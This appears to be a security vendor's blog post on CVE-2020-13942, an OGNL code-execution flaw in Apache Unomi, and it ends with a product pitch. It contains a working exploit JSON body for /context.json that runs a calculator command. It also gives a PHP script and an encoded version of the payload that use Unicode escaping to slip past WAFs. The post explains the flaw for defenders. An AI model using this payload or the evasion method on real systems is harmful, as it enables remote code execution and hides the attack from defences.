New critical Apache Unomi exploit was released yesterday.

As an official press release says:

“Apache Unomi is the industry’s first reference implementation of the upcoming OASIS CDP specification (established by the OASIS CXS Technical Committee, which sets standards as a core technology for enabling the delivery of personalized user experiences). As a reference implementation, Apache Unomi serves as a real world example of how the standard will be stable, and is quickly gaining traction by those interested in truly open and transparent customer data privacy. Apache Unomi is in use at organizations such as Al-Monitor, Altola, Jahia, Yupiik, and many others to create and deliver consistent personalized experiences across channels, markets, and systems.”

An exploit uses the same OGLN flaw as a series of famous Apache Struts exploits. Basically, it causes an arbitrary Java code execution by exploiting class loaders of convenient for attackers built-in Java classes like java.lang.Runtime and others.

The initial report discloses two different vulnerabilities in JSON fields propertyValues and propertyName at the /context.json API endpoint. To exploit these vulnerabilities, attackers should send a specially crafted HTTP JSON body with a OGNL payloads inside.

But what is not said in the official report is that attackers can easily bypass WAFs and API security solutions with no built-in JSON decoding features by encoding payloads to JSON Unicode sequences.

We already highlighted such type of attacks obfuscations early in the article “What stealthy attacks are hiding in API data — and why do most WAF miss them?!

In fact, any string inside the JSON field can be represented as a sequence of unicode char codes, i.e. \u0041 instead of A. This conversion could be done by a simple PHP script:

<?php
$d = $argv[1];
$x = bin2hex($d);
for($i=0; $i+1<strlen($x); $i+=2){
echo "\u00";
echo $x[$i].$x[$i+1];
}
echo "\n";

At CVE-2020-13942 payloads are not exceptions here. For instance, instead of sending OGNL payloads “as-is”:

{"filters":[{"id" : "pyn3rd","filters": [{"condition": {"parameterValues": {"pyn3rd": "script::Runtime.getRuntime().exec('open -a Calculator')"},"type":"profilePropertyCondition"}}]}],"sessionId": "pyn3rd"}

it is possible to convert it to Unicode strings:

{"filters":[{"id" : "pyn3rd","filters": [{"condition": {"parameterValues": {"pyn3rd": "\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u003a\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0027\u006f\u0070\u0065\u006e\u0020\u002d\u0061\u0020\u0043\u0061\u006c\u0063\u0075\u006c\u0061\u0074\u006f\u0072\u0027\u0029"},"type":"profilePropertyCondition"}}]}],"sessionId": "pyn3rd"}

The second example will be never detected by regular expressions without the JSON parser applied before.

This example shows the difference between legacy WAFs and NGWAF approaches in terms of attacks detection. In short, there is no way to protect API by WAFs.

If you are looking for REST, GraphQL, or gRPC protection, take a look at Wallarm: